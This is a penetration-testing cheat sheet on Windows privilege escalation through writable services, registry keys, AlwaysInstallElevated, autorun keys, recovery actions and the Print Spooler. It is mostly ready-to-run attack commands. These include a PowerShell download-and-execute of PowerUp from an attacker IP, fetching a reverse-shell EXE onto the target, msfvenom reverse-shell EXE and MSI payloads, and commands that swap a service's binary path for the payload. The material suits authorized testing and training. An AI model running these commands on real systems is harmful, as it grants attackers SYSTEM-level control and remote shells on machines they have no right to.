PrivEsc - Services & Registry
Sections PrivEsc - Services & Registry
Services run as SYSTEM by default. If you can change what a service runs, you become SYSTEM. Registry is the same surface from a different angle.
i. Enumerate writable service surfaces
Full service list with paths and start mode:
Get-CimInstance Win32_Service | Select-Object Name,DisplayName,StartName,StartMode,State,PathName
The four ways to hijack a service:
- Service binary writable -> overwrite the EXE
- Service binary directory writable -> drop a DLL it loads
- Service registry key writable -> change ImagePath
- Service config writable via SCM -> sc.exe config
Check all four with PowerUp / PrivescCheck in one go:
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/PowerUp.ps1')
Invoke-AllChecks
## or just service checks:
Get-ModifiableServiceFile
Get-ModifiableService
Get-UnquotedService
ii. Writable service binary
The classic. Service points to C:\Apps\backup.exe, you can write it:
## Check
$svc = "vulnsvc"
$path = (Get-CimInstance Win32_Service -Filter "Name='$svc'").PathName -replace '"',''
$exe = ($path -split ' ')[0]
(Get-Acl $exe).Access | Where-Object {$_.FileSystemRights -match 'Write|Modify|FullControl'}
Exploit:
## Backup the original
Copy-Item C:\Apps\backup.exe C:\Windows\Temp\backup.exe.bak
## Drop msfvenom-generated reverse shell EXE
## On attacker:
## msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe > sh.exe
## On target:
iwr http://10.10.14.1/sh.exe -o C:\Apps\backup.exe
## Restart the service:
sc.exe stop vulnsvc; sc.exe start vulnsvc
## Or wait for next restart / reboot
iii. Writable service binary directory (DLL hijack adjacent)
The exe sits in a writable folder. You can’t overwrite it, but Windows looks for some DLLs in the exe’s folder. See PrivEsc - DLL & Unquoted Paths for the DLL planting techniques.
$dir = Split-Path -Parent ((Get-CimInstance Win32_Service -Filter "Name='vulnsvc'").PathName -replace '"','')
(Get-Acl $dir).Access | Where-Object {$_.FileSystemRights -match 'Write|Modify|FullControl'}
If writable, plant a DLL the binary loads. Use Process Monitor (on attacker test box) to identify which DLL.
iv. Writable service registry key
Service config lives at HKLM\SYSTEM\CurrentControlSet\Services\<name>. If the key is writable, change ImagePath:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\vulnsvc"
## Check ACL with Get-Acl:
powershell "Get-Acl 'HKLM:\SYSTEM\CurrentControlSet\Services\vulnsvc' | Format-List"
## If you have FullControl/SetValue:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\vulnsvc" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\sh.exe" /f
sc.exe stop vulnsvc; sc.exe start vulnsvc
v. Writable service via SCM (sc.exe config)
sc.exe config changes the BinPath if your token has SERVICE_CHANGE_CONFIG on the service. Different from registry write, you don’t need direct ACL on the reg key:
## Check:
sc.exe sdshow vulnsvc
## Look for (A;;CCLCSWRPWPDTLOCRRC;;;BU) where BU = Builtin Users
## CO = SERVICE_CHANGE_CONFIG, if present you can do:
sc.exe config vulnsvc binPath= "C:\Windows\Temp\sh.exe"
sc.exe stop vulnsvc; sc.exe start vulnsvc
The space after binPath= is mandatory. Forget it and you get a useless error. Same for obj=, displayname=.
vi. AlwaysInstallElevated
Already covered in Local Enum but it really belongs here as a registry-based privesc.
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Both = 1 means any user can install MSI as SYSTEM:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f msi -o sh.msi
msiexec /quiet /qn /i C:\Windows\Temp\sh.msi
vii. Autoruns and registry persistence keys
Same keys used by malware for persistence are abuseable when writable. If a higher-priv user logs in and one of these keys is writable by you, plant a payload:
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
## Check who else logs in to this box:
quser /server:localhost
If admin RDPs to this box and HKCU\Software\Microsoft\Windows\CurrentVersion\Run is somehow writable cross-user (rare), you can wait for them to log in.
viii. Windows Service Recovery actions
A service’s recovery action can be set to “Run a Program”. If you can change recovery actions, crash the service to trigger your program:
sc.exe failure vulnsvc reset= 0 actions= run/0 command= "C:\Windows\Temp\sh.exe"
sc.exe stop vulnsvc ## crash to trigger
ix. Print Spooler tricks
Spooler running and writable port monitor registry key = SYSTEM:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors"
## If you can add a key, register a malicious port monitor DLL
PrintNightmare (CVE-2021-34527) is a related Spooler vuln, see PrivEsc - Kernel & Exploits .
x. After service privesc
## You should have SYSTEM now via the service running your binary
## Confirm:
whoami
## Grab a stable shell if your callback was the service itself
Backup-restore:
## Restore the original service binary
copy C:\Windows\Temp\backup.exe.bak C:\Apps\backup.exe /Y
sc.exe stop vulnsvc & sc.exe start vulnsvc
See Persistence & Cleanup for the full cleanup checklist.